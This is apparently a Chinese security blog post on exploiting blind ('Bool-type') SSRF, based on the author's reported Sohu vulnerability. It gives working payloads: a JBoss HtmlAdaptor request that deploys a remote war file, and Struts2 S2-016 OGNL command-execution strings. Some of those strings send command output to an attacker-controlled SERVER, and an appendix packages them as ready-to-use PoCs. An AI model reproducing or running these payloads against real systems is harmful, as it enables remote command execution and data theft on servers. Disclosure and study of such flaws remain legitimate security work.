Bool型SSRF的思考

什么是Bool型SSRF

Bool型SSRF:简单来说就是仅返回True 或 False的SSRF. 就以笔者前两天挖掘的一个SSRF为例, 只有服务器端正确响应HTTP请求并且只有响应码为200的时候,返回Success,其余全部返回Failed. 这就是一个典型的Bool型SSRF.

SSRF利用的基本思路

SSRF利用的基本思路:内网探测->应用识别->攻击Payload->Payload Result

内网探测: 内网主机信息收集
应用识别: 主机应用识别(可以通过Barner和应用指纹进行识别)
攻击Payload: 根据应用识别的应用,加载不同的攻击Payload(最常用莫属于Struts2)
Payload Result: 返回相应Payload的执行信息

BOOL型SSRF与一般的SSRF的区别在步骤二应用识别,步骤三攻击Payload和步骤四Payload Result. 一般的SSRF在应用识别阶段返回的信息相对较多,比如Banner信息,HTTP Title信息,更有甚的会将整个HTTP的Reponse完全返回. 而Bool型SSRF的却永远只有True or False. 因为没有任何Response信息,所以对于攻击Payload的选择也是有很多限制的, 不能选择需要和Response信息交互的Payload.

Bool型SSRF利用方法

1.应用识别
{指纹1 + 指纹2 + 黑指纹}, 这里以JBOSS为例: { /jmx-console/ + /invoker/JMXInvokerServlet + /d2z341.d#211 } 指纹1 和 指纹2 为应用识别指纹, 准确率越高越好. 黑指纹其实就是不会匹配任何应用的指纹,一般用较长的字符串代替即可. 分别用指纹1, 指纹2 和 黑指纹对内网主机探测统计, 获取三个主机列表:jmx-console.host(A) invoker.host(B) black.host(C).

Host = (A∩B) –(A∩B∩C) 即剔除jmx-console.host 和 invoker.host中存在于black.host的主机, 然后对jmx-console和invoker.host的主机取交集.

2.攻击Payload
针对不用的应用需要加载不同的Payload, 但是大多数的攻击都是需要和Payload Result进行交互的. 这类Payload是没有办法用在此处的, 需要的是不需要和Payload Result进行交互的Payload. 笔者可以想到的两种应用比较广泛的Payload有JBOSS和Struts2漏洞.

JBOSS Payload:

/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system%3Aservice%3DMainDeployer&methodIndex=3&arg0=http%3A%2F%2F192.168.1.2%2Fzecmd.war

通过JBOSS HtmlAdaptor接口直接部署远程war包, 可以通过access.log去验证war包是否成功部署.下面就是通过SSRF去执行不同的命令.还有一种方式,可以通过服务器的 access.log日志获取到远程服务器对应的公网IP, 有时也会有一些意外惊喜.

Struts2 Payload:

/action?action:%25{%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{‘command’})).start()}

Struts2漏洞的影响, 通过URL直接远程命令执行,

3.Payload Result
获取Payload Result是十分有必要的,这里的Payload Result和非Bool型SSRF的Result不是一个意思. 对于Bool型SSRF, 服务器端返回的数据永远只有True和False, 可以通过返回的True或者False来判断Payload的执行状态, 但是这样的判断标准是无法让人信服的. 能否有一种方法能够精确的判断Payload的执行状态,而且能够返回Payload Result. 对于Struts2笔者找到了一种可利用的方法。

下面是S2-016的POC:

/action?action:%25{3*4}
/action?action?redirect:%25{3*4}

通过对连个POC的理解, 知道下面的POC中的redirect是实现URL跳转,通过URL跳转来验证S2-016漏洞.

URL跳转当然也可以通过“?redirect:http://www.baidu.com”来验证. 那么是否可以通过”?redirect:http://SERVER/%25{3*4}” 将%25{3*4}的执行结果作为SERVER的URL的一部分发送到远端服务器, 通过实验证实了这样的想法.

数据下面尝试S2-016的命令执行POC,

?redirect:%25{%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{‘command’})).start()}

执行结果如下:

特此说明一下,这里返回java.lang.ProcessImpl@xxxxxx表示命令执行成功, 将命令执行的结果通过redirect跳转输出到远程服务器.

?redirect:http//SERVER/%25{%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{‘whoami’})).start()}

输出由服务器端Access日志可以看出,命令执行成功

其实通过上面的这种方式,我们已经完全能够准确的判断Payload Result的执行状态, 但是这不是我要的, 我想要Payload Result执行结果. 带回显的POC:

?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{‘whoami’})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

Payload-Result将命令执行结果Redirect到远程:

Redirect可以看到本地浏览器可以打印出结果,但是远程Access.log不会有任何日志. 对Java懂一点点的人都知道, 这里的POC的作用就是本地打印,所以肯定是不行的. 下一步就需要更改POC :

?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{‘command’})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d”http://SERVER/result%3d”.concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod(“GET”),%23http.connect(),%23http.getInputStream()}

SERVER是我们的HTTP服务器IP地址, 我们获取命令执行结果,然后把他作为一个URL参数发送到远程SERVER上, 所以我们可以在远程SERVER的access.log看到命令的执行结果.

access.log

至此, 完成了从一个BOOL型的SSRF转换为一个普通的SSRF,可以获取到任何Payload的执行结果, 我只能说这是一个质的飞跃.

说明: 对于文中浏览器中执行的返回信息,我们仅仅是在做测试,对于BOOL型SSRF这些信息对我们是不可见的, 我们能看到的仅仅是Server端的access.log日志.

Bool型SSRF的其他利用方式-反射性XSS也是一种可利用的思路,不过挖掘的难度相对较大

此文是对搜狐SSRF漏洞利用过程中的一些思考,实践和总结.

这可以说是我的SSRF处女洞, 和此文章关联的漏洞”搜狐某云服务API接口导致SSRF/手工盲打到Struts2命令执行”http://wooyun.org/bugs/wooyun-2015-0129588 , 因为抱着学习的态度, 漏洞报告写的非常详细,而且有很多技巧在文章中没有提及. 当然也有很多YY的想法, 想拍砖的就来拍砖吧.

附录

使用方式: 将SERVER替换为你的Web服务地址

POC-S2-016.SSRF版 :

?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{‘command’})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d”http://SERVER/result%3d”.concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod(“GET”),%23http.connect(),%23http.getInputStream()}

POC-S2-016命令回显集成SSRF版:

redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{‘command’})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23t%3d%23d.readLine(),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.setContentType(%27text/html%27),%23matt.getWriter().println(%23e),%23u%3d”http://SERVER/result%3d”.concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod(“GET”),%23http.connect(),%23http.getInputStream()}

发表评论

邮箱地址不会被公开。 必填项已用*标注